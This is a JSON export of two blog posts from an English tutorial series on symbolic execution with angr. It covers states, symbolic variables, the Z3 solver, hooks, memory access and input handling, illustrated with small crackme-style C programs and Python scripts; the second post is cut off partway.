[ { "title": "Part 1 - Introduction", "url": "/posts/introduction_a_l_execution_symbolique_avec_angr/", "categories": "Reverse, Introduction to symbolic execution with angr", "tags": "angr, symbolic execution", "date": "2026-08-05 08:00:00 -0200", "snippet": "In the name of Allah, the Most Gracious, the Most Merciful.Introduction 💭angr is an open source symbolic execution engine that lets you analyze and emulate binary programs. It uses symbolic executi...", "content": "In the name of Allah, the Most Gracious, the Most Merciful.Introduction 💭angr is an open source symbolic execution engine that lets you analyze and emulate binary programs. It uses symbolic execution to explore all possible execution branches of a program. Among other things, it can be used to discover vulnerabilities, bugs, and the conditions needed to reach certain parts of a program.One of angr’s main advantages is its ability to analyze programs without needing to actually run them. This helps avoid security issues, for example with malware, and makes it easier to analyze a piece of code without having to execute it.angr is used in many areas of computer security, such as bug hunting, malware analysis, embedded systems security, and challenges!It is compatible with many processor architectures and supports many binary file formats.The different types of analysisBefore looking directly at symbolic execution, let’s first see the two main methods used to analyze a program.The program used as an example is the following:#include &lt;stdlib.h&gt;int main(int argc, char *argv[]){ int arg = atoi(argv[1]); if (arg == 0xdeadbeef) { return 1337; } else { return -1; }}Static analysisThis type of analysis is called “static” because it does not require executing the program. Generally, we use tools that extract information from a program and help us understand it.We can use a disassembler to convert raw byte data into assembly instructions, for example: objdump, radare2, capstone.Example of the previous code disassembled after compilation:We also use decompilers to get additional information, such as code that is easier for a human to read. Examples include: Ida Pro, Ghidra, Binary Ninja, Cutter …Example of the previous code decompiled:By using these various tools, it is often already possible to understand what a program does, how its different functions are called, and how they interact with each other.Dynamic analysisUnlike static analysis, dynamic analysis requires executing the program. This execution can be performed on a physical machine, an emulator, for example Qemu, a virtual machine, and so on.Various tools, called debuggers, allow us to perform dynamic analysis by executing a program step by step. For example: GDB, windbg, x64dbg …Example of executing the main function in GDB:This type of analysis generally makes it possible to confirm what was seen during static analysis, or to understand certain features that could not be analyzed correctly.For example, the most robust malware often has several layers of obfuscation that slow down and limit our understanding of how it works during static analysis.For example, some functions will have unreadable decompiled code. In other cases, it may be impossible to decompile the program’s assembly code at all.Thus, the goal of dynamic analysis is to reproduce the execution environment of the program being studied in order to analyze its behavior as well as possible through the analysis of its execution. This does not only mean using a debugger, but also other monitoring tools to observe created processes, modified files, triggered events…In reverse engineering, we do not choose either static analysis or dynamic analysis. On the contrary, we generally prefer to combine the two and take advantage of the benefits of each one.Symbolic executionSymbolic execution is generally less known and less mastered by the general public. To understand how it works and why it is useful, let’s go back to the previous program:#include \"stdlib.h\"int main(int argc, char *argv[]){ int arg = atoi(argv[1]); if (arg == 0xdeadbeef) { return 1337; } else { return -1; }}The program’s behavior is quite trivial: the program retrieves the first parameter entered by the user and compares it to 0xdeadbeef.If the values are identical, the returned value is 1337; otherwise, it is -1. At this stage, static analysis already allows us to find the correct value to enter. Still, let’s try to find the right input so that the return value is 1337 using angr.First, create a file named “example_1.c” containing the previous program. Then compile it with the command: gcc -no-pie example_1.c -o example_1. The -no-pie option means that the program instructions will always be loaded at the same address and will not be fully subject to ASLR. This way, angr will not ask us to specify a base address, which is more convenient for us.Let’s open the freshly compiled example_1 program with IDA (IDA Free will do the job ;) ):In the end, nothing surprising: we do find the two code blocks, one when the comparison succeeds in green, the other when the comparison fails in red.Before going further, we need to become familiar with a few crucial notions when dealing with symbolic execution.StatesThe notion of state in symbolic execution is very important. By understanding how state management works, we understand how symbolic execution works. Likewise, disastrous state management greatly limits the power we can get from symbolic execution.A state in symbolic execution is the context in which the program is currently being executed. A context is therefore fully determined by the values of its registers and the different assigned memory areas. Thus, two states are different if and only if they have at least one register, one area with a different value, or variables with different constraints.A state is a bit like what is displayed in the previous gdb screenshot in the “Dynamic analysis” section, with the different values of the registers, memory, and so on.angr subdivides the current state when it encounters a branch toward two different paths, each with its own constraint. For example, when our initial state reaches the instruction 0x40114E : jnz 0x401157, two cases are possible: Either [rbp+var_4] == 0xDEADBEEF Or [rbp+var_4] != 0xDEADBEEF The addresses used in this tutorial may not match the “example_1” program if you compiled it on your machine. You only need to adapt the script by modifying the different addresses using the screenshots in this tutorial so that they match the addresses used by your program.Thus, there is a constraint on the value contained at [rbp+var_4] that differs depending on the path taken. What will angr do in this case? It is very simple. It will take the initial state state_0 and make two “copies” of this state; let’s name them state_green and state_red.The two differences between state_green and state_red are the following: state_green: The RIP register is 0x401150 The state has the constraint: [rbp+var_4] == 0xDEADBEEF state_red: The RIP register is 0x401157 The state has the constraint: [rbp+var_4] != 0xDEADBEEF Beyond these two differences, the other registers and memory areas of these two substates are the same. Managing several states simultaneously is what makes symbolic execution powerful, because it allows us to cover much more code than with a simple execution of the program.Paradoxically, the subdivision into several states is also what makes symbolic execution weak: the more branches there are in a program, the more states there are to manage, and the more RAM it consumes. Thus, in a program that performs a large number of loops or contains loops inside loops, memory can quickly become saturated and crash symbolic execution. Later on, we will make an example of a program that causes a path explosion.Here is roughly the content of the three previous states: But the constraint was on [rbp+var_4], why is it now on eax_val?True, the constraint applies to the value contained at [rbp+var_4], but which variable is the source of [rbp+var_4]?If we look a few instructions above, we see: 0x401144 : mov [rbp+var_4], eax, where eax is the return value of atoi. Thus, putting a constraint on [rbp+var_4] amounts to putting a constraint on the content of eax at the output of atoi, which we name eax_val.eax_val is a symbolic variable, and the constraint will be established on it.Symbolic variablesAnother important notion in symbolic execution is the notion of symbolic variables. In fact, for a symbolic execution engine to be able to explore several paths through several states simultaneously, some variables must be symbolic.Unlike variables with concrete values, symbolic variables can initially have any value. Constraints will only be added to the symbolic variable as the program executes and as paths are chosen at if / else branches.Imagine that eax_val has a concrete value when atoi returns, for example 0xcafebabe. It will not be possible to impose constraints on eax_val, because the variable already has the following constraint: eax_val == 0xcafebabe.Thus, initially, a symbolic variable can have any value depending on its type.For example: an 8-bit variable will initially have a value between 0x00 and 0xff (255) a 32-bit variable will initially have a value between 0x00 and 0xffffffff (4294967295)Constraints of a symbolic variableGenerally, a symbolic variable will undergo several constraints throughout execution and along the path taken by the symbolic execution engine. There are then three possible cases for this variable once execution has stopped after following a certain path: There is a unique solution: Given the constraints on the variable, there can only be one valid solution. There are several possible solutions: For example, the followed path can only be taken if the length of the string, which is a symbolic value, is strictly positive. There is no possible solution: This can happen when several constraints cannot be satisfied at the same time. For example, if one constraint is var &gt;= 10 and the other is var &lt; 8, there is no possible solution.Actually, angr does not determine by itself whether at least one or several solutions are possible. It relies on what is called an SMT solver. This is a tool that takes as input a set of logical formulas specifying constraints on variables and returns a result, if possible. Just because a problem is satisfiable does not mean the solver will easily return a solution. Some constraints on a variable can be so heavy and complex that it will take minutes or even hours before finding a result.Among the best-known SMT solvers are: Z3, Boolector, Bitwuzla …As for angr, it uses Z3 as its solver.The Z3 SMT solverAn SMT solver (Satisfiability Modulo Theories), such as Z3, is a software tool that can solve satisfiability problems. It is used to check whether a certain logical formula with combinations of constraints is satisfiable or not.What is even more impressive with a solver is that, when at least one solution exists, it often manages to return a solution to us. In cases where the formula is really very complicated and the machine being used is not very powerful, there may be a timeout without finding a solution.Let’s take a concrete example where we will ask z3 to solve two equations: One with several possible solutions One with no solutionfrom z3 import *# Create the variable xx = Int('x')# Create the equationequation = x - 7 &gt;= 2# Create the Z3 solversolver = Solver()# Add the equation to the solversolver.add(equation)# Run the solverif solver.check() == sat:\t# If a solution is found, display the value of x that satisfies the equation\tmodel = solver.model()\tsolution = model[x]\tprint(\"One solution to the equation is: x =\", solution)else:\t# If no solution is found\tprint(\"No solution found.\")By running this python script, one possible output is One solution to the equation is: x = 9, which is indeed a solution to the equation x - 7 &gt;= 2, where x is an integer.Now, let’s add another constraint with the following two lines below solver = Solver():equation_2 = x &lt; 0solver.add(equation_2)Since the constraints on x are not satisfiable, running the script returns No solution found..The idea is not to know how to use z3 in an advanced way (angr will do that for us 🤭), but to understand what a solver is for and how to use one.Using angrWe have talked about the main theoretical elements related to symbolic execution: symbolic variable, state, constraints, solver, and so on. Let’s move on to the practical part with this example.The overall idea is to ask angr to execute the main function and go through the green block so that it gives us the correct input to get there.Here is the beginning of the script that uses angr and allows us to do that (I use the same addresses as the ones we saw previously):import angrp = angr.Project(\"./example_1\")state_0 = p.factory.blank_state(addr= 0x401122)sm = p.factory.simulation_manager(state_0)print(\"[+] Exploration in progress ....\")sm.explore( find = 0x401150, avoid = 0x401157)Let’s break down this script together: p = angr.Project(\"./example_1\") creates an “angr” project by specifying the program we want to use state_0 = p.factory.blank_state(addr= 0x401122): we create an initial “empty” state that starts at the first instruction of main at address 0x401122. Once our initial state state_0 is created, we will need to create the simulation_manager. This is an object that will manage all states during symbolic execution. At the beginning, there is only one state, the one we just created. However, when angr encounters branches, for example during an “if-else”, it will “subdivide” the current state into two “substates”, each taking respectively the “if” path and the “else” path. Then, we ask the simulation_manager to reach the “green” block, where the comparison with 0xdeadbeef succeeds, by specifying find, and to avoid the red block, where the comparison failed, by specifying avoid.The Simulation ManagerThis is the big “thing” that will manage all our states during symbolic execution. At a given point in symbolic execution, states can have different statuses: active: An active state represents an execution path currently being explored by angr. This means that angr is symbolically executing instructions for this specific path; inactive: An inactive state is an execution path that has been fully explored. This can happen when all program instructions have been followed for this specific path, or when it is a reached destination; angr no longer needs to process it; found: When angr reaches a “found” state, it means that the execution path satisfies a specific condition defined by the user. For example, this can be the case when the program reaches a certain address, when it reaches a specific function, or when another defined condition is satisfied; avoid: In the same way that a found state means we have reached code whose context satisfies certain conditions, an avoid state is a state where we want program execution to stop; unsat: An “unsat” (unsatisfiable) state is an execution path that leads to a contradiction or to a condition impossible to satisfy. This generally happens when an invalid program condition is encountered, meaning that angr cannot explore this execution path any further.Here is an example where the SM (Simulation Manager) contains only two states: a found state 🟢 an avoid state 🔴First execution of the scriptWe run the previous script with python3 angr_explore.py and then, well, nothing! The script does not seem to do much…You will notice that angr is not very happy and lets you know through several warnings. Some are harmless (and we will see why later), but there is one that comes up often and helps us understand why the script does not do much.It is this warning:WARNING | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0xfffffffffffffc0b with 1 unconstrained bytes referenced from 0x539fa0 (atoi+0x0 in libc.so.6 (0x39fa0))Well, it looks like complete gibberish to us, but let’s still try to understand the logic behind it. In any case, from what we can see, there seems to be a small issue at this address: (atoi+0x0 in libc.so.6 (0x39fa0)).From the very first instructions of the atoi function, angr is lost. This is actually normal. Indeed, atoi is an imported function. It is therefore executed dynamically by the program by calling the standard libc library.Since angr does not execute anything dynamically, it does not even load libc when the application starts. We will therefore have to handle the call to atoi so that it no longer bothers us later. In reality, angr handles some basic libc functions rather well. But sometimes it is better to take the reins so we know exactly what is being done.Adding a hookThere are different ways to handle or bypass a function call (or an instruction in general) ourselves. The simplest is using hooks, and that is the one we will use. There is another, more advanced way to create hooks via SimProcedure (see the SimProcedures).Here is how to implement a hook in angr:import angrdef hook_atoi(state):\t# Do stuff\treturnp = angr.Project(\"./example_1\")# Do not forget to adapt this depending on your addressesstate_0 = p.factory.blank_state(addr= 0x401122)sm = p.factory.simulation_manager(state_0)p.hook(0x40113f, hook_atoi,5)print(\"[+] Exploration in progress ....\")sm.explore( find = 0x401150, avoid = 0x401157)This happens in two steps: Call angr’s hook function on the project with three arguments: The address of the instruction whose behavior we want to intercept or modify the python function that will be executed instead the total size of the instruction (or instructions) to hook, here, 5 bytes: Define the function that will be called during the hook. Depending on the hooked instructions or functions, its content won’t be the same. For example, if we hook the printf function, the hook function could simply display a string on the screen with print in python.In the executed code, angr will behave as follows: When arriving at address 0x40113f, it realizes that 5 bytes starting from this address must be hooked and will therefore be handled by our script. This corresponds exactly to the call _atoi instruction The Python hook hook_atoi is then executed instead of the instruction Once the hook_atoi function is finished, angr resumes symbolic execution 5 bytes laterWhat is interesting with hook functions is that they can take, as a parameter, the current state (here state) when the hook was triggered. This is extremely practical for checking register values, modifying them, inspecting memory, the stack, and so on.For now, the hook function is empty; it does nothing. Let’s fill it in ✏️!We know that the atoi function converts a string into an integer. What we could have done to keep the same behavior as atoi is use Python’s argv variable to return an arbitrary integer, chosen when launching the script.But that is not what we are going to do. Let’s remember the objective we want to achieve with symbolic execution: Find the right argument to give the program so that it returns 1337.Using a symbolic variableThus, our argv[1] argument must not be concrete, but symbolic. We must put the return value in the rax register, since that is the register that contains the value returned by a function in x86_64.import angrimport claripy# 64-bit symbolic variablearg_symb = claripy.BVS('argv', 8*8)def hook_atoi(state):\tprint(\"[i] The atoi function has been hooked\")\t# We return the symbolic variable via rax\tstate.regs.rax = arg_symbp = angr.Project(\"./example_1\")state_0 = p.factory.blank_state(addr= 0x401122)sm = p.factory.simulation_manager(state_0)p.hook(0x40113f, hook_atoi,5)print(\"[+] Exploration in progress ....\")sm.explore( find = 0x401150, avoid = 0x401157)print(\"[+] Arrived at destination\")print(\"[+] Explored paths: \",sm)By running this version of the script, after a few warnings, we get:[i] The atoi function has been hooked[+] Arrived at destination[+] Explored paths: &lt;SimulationManager with 1 found, 1 avoid&gt;Everything went as planned and angr was able to explore two paths in total: found, which groups the states from explored paths that were able to reach the set objective, here: 0x401150 (there can be several found; in our case, there is only one) avoid, which groups the states from explored paths that must stop if they encounter an avoid address, here: 0x401157 (in our case, there is only one)Let’s go through a few explanations about the symbolic variable arg_symb. First, we imported the claripy module, which is a module used by angr to manage symbolic and concrete variables as well as the use of the z3 solver.The two types of variables can be declared this way: Concrete variables (e.g. var = claripy.BVV(0xdeadbeef, 8*4)): to declare a concrete variable, two arguments must be provided: Its value Its size (in bits! and not in bytes, be careful!), in this example, the variable is 32 bits (4 bytes) Symbolic variables (e.g. var_symb = claripy.BVS('x', 8)): to declare a symbolic variable, two arguments must also be provided: The name of the symbolic variable Its size (here 1 byte, useful to represent, for example, a variable of type char) I insist: the size specified when creating symbolic variables with BVS or concrete variables with BVV using claripy is in BITS!Here, the symbolic variable we use is named arg_symb (or argv from claripy’s point of view) and it has a size of 8 bytes (64 bits). We use it during the atoi hook in order to return it (via rax).From now on, angr knows that the return value is symbolic, so the comparison with 0xdeadbeef can either fail or succeed here: If we wanted to optimize the script, we could have returned only a 32-bit value via eax, since only the first 4 bytes of rax are used for the comparison. But wait, you didn’t tell us why there is a bunch of warning messages 😵‍💫?In fact, the various warnings that we have not dealt with concern memory areas that we did not initialize and that are manipulated by the program. For example, the first instructions of the main function are:0000000000401122 push rbp0000000000401123 mov rbp, rspThus, from the very first instruction, angr, which symbolically executes the instructions, must execute push rbp.So, two things need to be done: Retrieve the value of rbp Put it on the stackThe problem is that angr does not know the value of rbp, nor which memory area is the stack. Indeed, we did not specify any of these values, so they are considered unconstrained by default!What angr does when displaying a message of this type:WARNING | Filling register rbp with 8 unconstrained bytes referenced from 0x401122 (main+0x0 in example_1 (0x401122))is that it “fills” rbp with unconstrained values so that it can “execute” the push rbp instruction while having some value to put on the stack. Same thing for the stack address.If we absolutely wanted to give a value to rsp and rbp, we could do something like this:state_0 = p.factory.blank_state(addr= 0x401122)state_0.regs.rsp = 0x7fffff0000state_0.regs.rbp = 0x7fffff0008This can be useful when we absolutely want to have the same memory addresses as those displayed by a debugger during dynamic analysis / execution.Retrieving the valid inputWe managed to make angr reach the address of the block where the comparison is performed correctly. However, angr has not told us which valid input allowed it to get there. Don’t worry, we are almost there 😅!As a reminder, the simulation manager sm was able to have at least one found state. Now we just need to: place ourselves (or switch) into the context of the state that arrived in the “green” block (this is the only state present in sm.found) call the solver so that it returns a value of arg_symb that allowed this state to arrive in the block we are interested in display that value!Here is the final script:import angrimport claripy# 64-bit symbolic variablearg_symb = claripy.BVS('argv[1]', 8*8)def hook_atoi(state):\tprint(\"[i] The atoi function has been hooked\")\t# We return the symbolic variable via rax\tstate.regs.rax = arg_symbp = angr.Project(\"./example_1\")state_0 = p.factory.blank_state(addr= 0x401122)sm = p.factory.simulation_manager(state_0)p.hook(0x40113f, hook_atoi,5)print(\"[+] Exploration in progress ....\")sm.explore( find = 0x401150, avoid = 0x401157)print(\"[+] Arrived at destination\")if len(sm.found) == 0:\tprint(\"[-] It was not possible to reach the destination\")\tquit()else :\tprint(\"[+] Determining the valid input\")\t# Retrieve the state that arrived in the correct block\tfound = sm.found[0]\t# Call the solver to return at least one solution\tres = found.solver.eval(arg_symb)\tprint(\"[+] A correct input is: \",hex(res))By running this script, we do get the correct input![+] Exploration in progress ....[i] The atoi function has been hooked[+] Arrived at destination[+] Determining the valid input[+] A correct input is: 0xdeadbeefNow, let’s explain the different steps: First, we check that there is at least one state that reached the destination (green block); otherwise, we quit If everything is ok, we retrieve the first found state (here there is only one, but sometimes there can be several) We call the solver of our found state via found.solver.eval. The two possible parameters are: The symbolic variable for which we want at least one possible value The format of the final result (optional), for example: cast_to=bytes to get bytes as output. In our case, an integer will do. Displaying the correct inputHow does the solver manage to find the correct input?Since we have seen, in broad terms, how a solver works, it will be easier to understand how angr manages to find the correct input.First, remember that we declared the symbolic variable representing the input like this: arg_symb = claripy.BVS('argv[1]', 8*8). At this stage, arg_symb has no constraints and can therefore take any 64-bit value.However, during program execution, this symbolic variable will be subject to one or more constraints that will be automatically added by angr.For example, when atoi returns, the rax register contains our symbolic variable arg_symb. But a comparison is then immediately performed:Thus, for the jnz instruction not to be executed and for us to go directly into the “green” block, the following condition must be true: eax == 0xdeadbeef. Now, eax contains the 32 least significant bits of arg_symb.In this way, angr automatically adds a constraint of the form arg_symb[32:64] == 0xdeadbeef. Since the comparison is performed on 32 bits via eax, there is no constraint on the 32 most significant bits of rax.PracticeHere is a small, fairly simple program that takes a hexadecimal string and checks whether it is the right key.A few differences from the program we studied should be noted: The input is no longer retrieved via argv Several libc functions have been added (hook them?)The goal of this challenge is not to become an angr pro, but to know how to use angr’s basic features.#include \"stdio.h\"#include \"stdlib.h\"#include \"string.h\"unsigned long long hash(unsigned long long arg){ unsigned long long result = 0; unsigned char x =0; unsigned long long temp =0; unsigned long long key =0xef9e8bd8f3afe9eb; for (int i =0;i&lt;8;i++) { x = (arg &gt;&gt; (i*8)) &amp;0xff; switch(x % 2) { case 0: temp = 0xff; break; case 1: temp = x ^ (unsigned char)((key &gt;&gt; (i*8)) &amp;0xff); break; } result = result | (temp &lt;&lt; (i*8)); } return result;}int main(){ char key_buffer[16] = {0}; puts(\"Give me the key in hexadecimal: \"); read(0,key_buffer,16); unsigned long long arg = strtoull(key_buffer,NULL,16); if (hash(arg) == 0xdeadbeefcafebabe) { puts(\"Win !\"); return 1337; } else { puts(\"Lose !\"); return -1; }}To compile it: gcc -no-pie main.c -o exe.SummaryDuring this chapter, we saw several points together: A reminder of what static analysis and symbolic analysis are States are symbolic execution contexts that make it possible to explore several paths during a single symbolic execution. States mainly differ by the constraints applied to their variables Constraints make it possible to restrict the value that a symbolic variable can have The SMT solver makes it possible to prove that an equation has one solution, several solutions, or none. These equations are built from constraints on variables" }, { "title": "Part 2 - Basic features", "url": "/posts/introduction_a_l_execution_symbolique_avec_angr_partie_2/", "categories": "Reverse, Introduction to symbolic execution with angr", "tags": "angr, symbolic execution", "date": "2026-08-04 08:00:00 -0200", "snippet": "Other basic featuresThe previous chapter covered the basics of symbolic execution as well as the main components that angr uses to perform symbolic execution in a program.If you managed to complete...", "content": "Other basic featuresThe previous chapter covered the basics of symbolic execution as well as the main components that angr uses to perform symbolic execution in a program.If you managed to complete the challenge given as an exercise, you should have understood the main principles of symbolic execution. However, we have only seen angr’s elementary components.The goal of this chapter is not to become an angr pro, but to learn the main features you may encounter or use in a program.IPythonBefore going further into angr’s features, I wanted to share this extremely useful module with you when using angr or, more generally, when coding in Python.I actually discovered this Python module while learning to use angr and since then, I have used it almost systematically in my Python programs. I would even say it is the first module I import when I start writing Python code. But what is IPython for?IPython is a module that lets you, among other things, access an interactive shell while the Python script is running. It also provides an “improved” Python shell, in the same way that zsh adds more usability to bash.Command-line useSimply run ipython (or ipython3) in a terminal to access it. From there, you can execute Python code. Handy when you no longer remember whether tab[3:10] includes the third value or not, without going through the internet or opening an IDE.I would say that the most interesting features of IPython compared to the classic Python shell are being able to display the members and attributes of an object simply with TAB and being able to have a history of entered commands in a “zsh-style”.This is very practical when you are too lazy to read the docs and what you are looking for has a very explicit name:Use in a scriptTo use IPython directly inside a Python script, you just need to: import the module with import IPython open an interactive shell with IPython.embed()Let’s take the final script from the previous chapter. We are going to modify it to use IPython.First, import the module, then add the following line to the script from the previous chapter:else :\tprint(\"[+] Determining the valid input\")\t# Add the following line:\tIPython.embed()\t# Retrieve the state that reached the correct block\tfound = sm.found[0]\tres = found.solver.eval(arg_symb)\tprint(\"[+] A correct input is: \",hex(res))Run the script and you will see that an IPython shell has opened. It is possible to execute Python commands there, see the value of certain variables, modify or create new variables:It is so convenient for taking a look at the different states, seeing the value of certain registers, and so on, without having to insert print statements and for loops everywhere.The million-dollar questionA question everyone asks when using angr: How do I see where my angr script is stuck?In fact, this is a recurring problem because, due to bad configuration, path explosion, or something else, an angr script may end up going in circles and consuming excessive memory without finishing.We would really like to see and understand why the program is not working correctly. But with lots of print statements, we do not always get the details we are looking for.The solution, as you can probably guess … being able to open an IPython terminal arbitrarily!This is indeed possible, you just need to add this piece of code, for example after the list of imports:import angrimport IPythonimport osimport signaldef kill():\tcurrent_pid = os.getpid()\tos.kill(current_pid, signal.SIGTERM)def sigint_handler(signum, frame):\tprint('To kill the process, enter: kill()')\tIPython.embed()signal.signal(signal.SIGINT, sigint_handler)By putting this piece of code at the beginning of your script, when you run your script and press Ctrl+C, an IPython terminal will open.And as we saw a little earlier, this lets you see the list of active and finished states, analyze them, know at which address in the program the state is located, and so on.Since Ctrl+C is usually used to kill a process and we are intercepting that signal, this shortcut will no longer kill the process. That is why you will need to enter kill() in IPython to terminate the Python program.Use it as much as you want 😇!Reading and writing memory 📝If you remember the previous chapter, you should recall how we were able to access registers. For example, to access the rax register, we can use state.regs.rax.Similarly, it is possible to access any other register, whether 32-bit or 64-bit, ARM, x86, or MIPS.We have not yet seen how to access memory areas for reading and writing. After all, angr simulates execution, so there should be a way to access memory, right?Here is how it is done: 📄 Reading memory: state.memory.load(address, size) where: address is an integer representing the address from which angr will read size is an integer representing the size of the data in bytes that we want to read Return: the function returns a BitVector, symbolic or not (for example, if the memory area contains the 4 bytes 0xdeadbeef, the returned result will be: &lt;BV32 0xdeadbeef&gt;) ✏️ Writing memory: state.memory.store(address,data) where: address is an integer representing the address from which angr will read data can be of type bytes, BVV (concrete data), or BVS (symbolic data) It is as simple as that! Well, almost!First, regarding memory reads and writes, you should know that they are done by default in big endian. This can be annoying because the endianness we most often encounter is little endian. However, it is possible to specify the endness=archinfo.Endness.LE parameter so that the read or write operation is performed in little endian.For example, reading 8 bytes on the stack:data = s.memory.load(s.regs.rsp,8, endness=archinfo.Endness.LE)This is rather heavy in the sense that you have to specify it every time you want to read or write memory. I have not found any alternatives at the moment. If you find one, let me know ;) !The version for writing data to memory in little endian:state.memory.store(s.regs.rsp,b'data',endness=archinfo.Endness.LE) Unlike the size specified in claripy BVV and BVS, the “size” parameter for reading memory is in bytes! Indeed, BVV and BVS use a size in bits. So you need to be extra careful, because confusion between bits / bytes is common! But why would we need to read/write memory when we have not needed to do it so far?In programs more complicated than simple trivial crackmes, you generally need to get your hands dirty so that angr can run correctly.A basic example is simply handling 32-bit x86 programs whose calling convention is based on using the stack. This way, if you want to handle arguments during a function call, you need to know how to write data to memory, more precisely to the stack.Also, since the data we write to memory does not necessarily have to be concrete, it is possible to use symbolic variables in memory. Handy when the input is stored and/or retrieved in memory.ExerciseNow that you know how to read and write memory, I recommend writing a small read_from_stack(state,n) function that displays the first n values (64-bit values, for example) on the stack of the state state.This will be useful when you want to debug a program with angr.Handling input ⤵️ and output ⤴️Sometimes, it can be simpler to use standard input (input) and output (output) directly instead of hooking certain functions and making the solving script more complex.For example, in the exercise from the previous chapter, we know that if the output is Win !, then the input is valid.Reading the output ⤴️Reading the output from a state is done like this:output = state.posix.dumps(sys.stdout.fileno())Obviously, do not forget to import the sys module so that this works correctly. The data returned by this function is bytes. For example, in the previous exercise, if the input is correct, the value contained in the output variable would be b\"Win !\\n\". But how can we have data displayed in the standard output when, in the previous exercise, we hooked functions like puts, printf …By using the output directly, you will no longer need to hook functions that display data in standard output, such as puts and printf.In fact, for this kind of basic function, angr manages to hook them cleanly by itself without modifying their “overall” behavior. So, since these basic functions are supposed to display data in standard output, angr does write this data to the standard output, which we can retrieve with state.posix.dumps(...). That is why we do not see it directly in the terminal.What is pretty nice once you know how to handle standard output is that you can use it to establish a “success” condition during path searching.For example, by using an is_output_good function, it is possible to specify a condition directly on the output to know whether we have found the desired destination or not. In the same way, it is possible to use the output to specify a condition we want to avoid (avoid):def is_output_good(state):\t# Is \"Win !\" present in the output?\toutput = state.posix.dumps(sys.stdout.fileno())\treturn b'Win !' in outputdef is_output_bad(state):\t# Is \"Lose !\" present in the output?\toutput = state.posix.dumps(sys.stdout.fileno())\treturn b'Lose !' in output# (...)sm.explore( find = is_output_good, avoid = is_output_bad)Using the output is not always the best solution. In fact, it all depends on the context. There is not always a single correct method to reach the destination. However, it can be useful in an obfuscated program where you do not really know which address you need to go to, but where you see an interesting string among the program’s strings.In such a case, it can be interesting to use the output because you know what the program should display. But generally, it is better to know exactly where you need to go and how you need to do it. The string method is generally effective in simple and basic programs, but requires more thought otherwise.Using the input ⤵️Enough talk about output, let’s move on to the input!Generally, here are the different ways a command-line program can retrieve input, for example a password to check, entered by the user: By directly asking the user to enter the password via stdin (this is generally done with read, scanf, etc.) By reading from a file (whose name is generally hardcoded) In the arguments of the program launched with argvUsing stdinIn the same way we were able to handle the argv case with a hook, it is possible to do it with input by hooking the function that reads the input: read,scanf,gets, etc. That is probably what you did during the previous exercise, right?Nevertheless, this implies: knowing which function reads the input and where in the code having to program hook functionsThis can be done in a reasonable amount of time, but there is something much faster! Especially if the program is x86 (so 32-bit), you need to know at which address to write the symbolic buffer … this gets complicated!All you need to do is use the stdin argument when creating the angr project.For example, to create an input containing 12 symbolic bytes, you can do:password = claripy.BVS('password', 12*8)first_state = p.factory.blank_state(addr= 0xdeadbeef,stdin=password)That’s it!You should know that if the program is supposed to read only 12 bytes, the previous piece of code will work very well. On the other hand, if the program is supposed to read 12 bytes, then n others, you need to do it differently because this code constrains the input to exactly 12 bytes.When you only want to provide the first bytes of the input and handle the n other bytes later, you need to use a SimFileStream.The name may look a bit complicated, but it is relatively simple to use:password = claripy.BVS('password', 12*8)first_state = p.factory.blank_state(addr= 0xdeadbeef, stdin=angr.SimFileStream(name='stdin', content=password, has_end=False)) Often, the requested password consists only of ASCII characters. So it would be nice to be able to constrain our input to contain only ASCII characters in order to reduce the execution time of the script with angr.This can be done, for example, like this:import angrimport claripyp = angr.Project(\"...\")state = p.factory.entry_state()flag = [claripy.BVS('flag_%d' % i, 8) for i in range(12)]# Add constraints to the solver# so that the flag must be ASCIIfor elt in flag: state.solver.add(elt &gt;= ord(' ')) state.solver.add(elt &lt;= ord('~'))Here, we declared flag as an array of BVS because a single multi-byte BVS is not directly iterable. But there is a method to still use one single BVS to make things easier and avoid having to go through a weird array:flag = claripy.BVS('flag', 8*12)# 1 byte = 8 bits, hence the parameterfor elt in flag.chop(8): state.solver.add(elt &gt;= ord(' ')) state.solver.add(elt &lt;= ord('~'))ExerciseYou can test stdin handling by compiling a basic C program that reads, for example, 8 bytes and checks whether it is the correct password.Then use angr to find the password automatically without having to hook the functions that read from stdin. If you are out of ideas, you can reuse the C code from the exercise in the previous chapter, since the input there was read with read. But this time, you will have to solve it without hooking read!Using argvWe have already encountered argv before and, if you remember correctly, we used a hook on the atoi function to directly return a symbolic buffer.But there is a simpler method to use a symbolic buffer in argv.For example, if argv must contain two 12-byte passwords, we can declare two symbolic passwords in argv like this:password_1 = claripy.BVS('password_1', 12*8)password_2 = claripy.BVS('password_2', 12*8)state = proj.factory.entry_state(args=['./program_name', password_1,password_2])This is equivalent to launching the program like this: ./program password_1 password_2.In the end, it is more or less the same method as for specifying the input: we directly use the available arguments when creating the initial state.Here, the size is 12 bytes for each password. Obviously, you are free to choose a size suited to the program being analyzed.Also, we used symbolic buffers for stdin and argv, but it is entirely possible to use a “concrete” buffer. For example: b'my_password'. In this piece of code, the argv array is represented by the args array. So do not forget that the first argument of a program is … the “name” (or path to) the program! But why do we use entry_state instead of blank_state here? What is the difference between the two?In fact, a blank_state is a fairly basic state that contains a limited number of arguments. The entry_state is an initial state that is a bit more “complete” and can be initialized with more parameters, including args (which represents argv). That is why we use it here.If you want to know more about the different types of states, here is some reading.Using files with SimFileWe have seen how to handle the two main methods for retrieving input from the user, namely: stdin and argv. Another possibility is, as mentioned earlier, through file reading.This is not necessarily the most common method in challenges / crackmes, etc., but it can be pretty good for vulnerability research in order to trigger a bug or symbolically fuzz functions that process data coming from a file read.To simulate a file, it is possible to use SimFiles. Using SimFiles is generally done this way: Create the file data Create the SimFile Assign the SimFile to the (initial) state’s filesystemAs for creating the data, you can probably guess that we can choose to put concrete data, symbolic data … or both!Here is an example where the content contains both symbolic and concrete data:symbolic_data = claripy.BVS('symbolic_data', 4 * 8)concrete_data = b\"concrete_data\"simfile = angr.storage.SimFile(\"my_file.bin\", content=symbolic_data.concat(concrete_data))And there we go! We have just made our first SimFile. But it is not over yet. Indeed, a SimFile must be linked to a state in order to be used. Otherwise, you may get NoneType exceptions when trying to read from or write to it.To attach a SimFile to a state, we can do it in two ways: Directly when initializing the state: state = proj.factory.entry_state(fs={ \"my_file.bin\" : simfile}) By adding the file “by hand” into the filesystem of an existing state: state.fs.insert(\"my_file.bin\", simfile) Thus, when the program opens and reads the my_file.bin file, angr will take care of using the SimFile we just created.This way, there is no need to hook functions such as fopen, fread, etc. if the SimFile filename matches the filename opened by the program.Handy!Other types of files and streamsThere are other ways to handle files or streams with: SimPackets, which lets you handle data streams (e.g. network streams …) sent as asynchronous data chunks. A SimPacket cannot be used for both 